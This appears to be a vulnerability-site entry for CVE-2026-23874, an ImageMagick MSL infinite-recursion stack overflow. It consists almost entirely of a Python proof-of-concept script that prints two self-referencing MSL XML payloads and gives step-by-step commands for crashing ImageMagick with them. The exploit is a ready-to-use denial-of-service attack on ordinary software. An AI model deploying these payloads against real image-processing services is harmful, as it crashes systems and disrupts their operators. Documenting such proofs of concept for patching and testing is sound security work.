CVE-2026-23874 ImageMagick MSL脚本语言无限递归栈溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-23874 PoC - ImageMagick MSL Infinite Recursion Stack Overflow This PoC demonstrates the infinite recursion vulnerability in MSL <write> command. """ poc_msl = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png" /> <write filename="test_msl.mcsl"> <canvas width="100" height="100" color="red" /> <write filename="test_msl.mcsl" /> </write> </image> """ # Alternative PoC - Self-referencing MSL script poc_msl_v2 = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="input.jpg" /> <write filename="recursive.mcsl"> <canvas width="100" height="100" /> <write filename="recursive.mcsl" /> </write> </image> """ # Usage: # 1. Save the MSL script as poc.mcsl # 2. Run: magick poc.mcsl output.png # 3. This will trigger infinite recursion and cause stack overflow print("PoC for CVE-2026-23874") print("ImageMagick MSL Infinite Recursion Vulnerability") print("\nGenerated MSL PoC script:") print(poc_msl) print("\nTo trigger the vulnerability:") print("1. Save the above MSL content to a file (e.g., poc.mcsl)") print("2. Execute: magick poc.mcsl output.png") print("3. Observe stack overflow or crash")